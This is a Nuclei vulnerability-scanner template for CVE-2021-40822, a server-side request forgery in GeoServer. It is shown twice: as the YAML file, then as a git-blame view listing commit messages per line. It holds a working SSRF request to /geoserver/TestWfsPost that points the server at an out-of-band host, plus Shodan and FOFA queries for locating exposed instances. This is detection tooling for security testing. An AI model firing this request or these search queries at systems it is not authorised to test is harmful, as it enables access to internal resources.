nuclei-templates/http/cves/2021/CVE-2021-40822.yaml

id: CVE-2021-40822

info:
  name: Geoserver - Server-Side Request Forgery
  author: For3stCo1d,aringo-bf
  severity: high
  description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.
  reference:
    - https://gccybermonks.com/posts/cve-2021-40822/
    - https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
    - https://github.com/geoserver/geoserver/releases
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40822
    - https://osgeo-org.atlassian.net/browse/GEOS-10229
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40822
    cwe-id: CWE-918
    epss-score: 0.661
    epss-percentile: 0.97627
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query: title:"GeoServer"
    fofa-query: app="GeoServer"
  tags: cve2021,cve,ssrf,geoserver,osgeo

http:
  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: oast.pro
        Content-Type: application/x-www-form-urlencoded

        form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<b>Interactsh</b>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f289e05468a191b19b921c0c542a9d00cadf379a6b845ab8d0640103ca7cc0360220772c00b2da401c63e70c2afb4dc82e267f312f6befcb43d4e5983896d4c55332:922c64590222798bb761d5b6d8e72950
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00			`id: CVE-2021-40822`

			`info:`
Enhancement: cves/2021/CVE-2021-40822.yaml by mp 2022-06-30 15:08:21 +00:00			`name: Geoserver - Server-Side Request Forgery`
fix matcher 2023-07-11 06:44:55 +00:00			`author: For3stCo1d,aringo-bf`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00			`severity: high`
Enhancement: cves/2021/CVE-2021-40822.yaml by mp 2022-06-30 15:08:21 +00:00			`description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00			`reference:`
			`- https://gccybermonks.com/posts/cve-2021-40822/`
			`- https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3`
Auto Generated CVE annotations [Wed May 18 17:19:05 UTC 2022] :robot: 2022-05-18 17:19:05 +00:00			`- https://github.com/geoserver/geoserver/releases`
Enhancement: cves/2021/CVE-2021-40822.yaml by mp 2022-06-30 15:08:21 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-40822`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- https://osgeo-org.atlassian.net/browse/GEOS-10229`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
			`cvss-score: 7.5`
			`cve-id: CVE-2021-40822`
			`cwe-id: CWE-918`
TemplateMan Update [Sun Jan 14 13:49:26 UTC 2024] :robot: 2024-01-14 13:49:27 +00:00			`epss-score: 0.661`
			`epss-percentile: 0.97627`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:osgeo:geoserver::::::::`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00			`metadata:`
boolean format update 2023-06-04 08:13:42 +00:00			`verified: true`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: osgeo`
			`product: geoserver`
Update CVE-2021-40822.yaml 2023-07-12 11:59:22 +00:00			`shodan-query: title:"GeoServer"`
			`fofa-query: app="GeoServer"`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,ssrf,geoserver,osgeo`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00			`- raw:`
			`- \|`
			`POST /geoserver/TestWfsPost HTTP/1.1`
fixed typo 2023-07-12 13:50:08 +00:00			`Host: oast.pro`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00			`Content-Type: application/x-www-form-urlencoded`

fix matcher 2023-07-11 06:44:55 +00:00			`form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
fix matcher 2023-07-11 06:44:55 +00:00			`part: body`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00			`words:`
Update CVE-2021-40822.yaml 2023-07-12 11:59:22 +00:00			`- "<b>Interactsh</b>"`
Update CVE-2021-40822.yaml 2022-05-18 17:00:54 +00:00
			`- type: word`
fix matcher 2023-07-11 06:44:55 +00:00			`part: header`
Update CVE-2021-40822.yaml 2022-05-18 17:00:54 +00:00			`words:`
fix matcher 2023-07-11 06:44:55 +00:00			`- "text/html"`
Create CVE-2021-40822.yaml 2022-05-18 13:04:39 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Fri Jan 26 08:31:11 UTC 2024] :robot: 2024-01-26 08:31:11 +00:00			`# digest: 4a0a00473045022100f289e05468a191b19b921c0c542a9d00cadf379a6b845ab8d0640103ca7cc0360220772c00b2da401c63e70c2afb4dc82e267f312f6befcb43d4e5983896d4c55332:922c64590222798bb761d5b6d8e72950`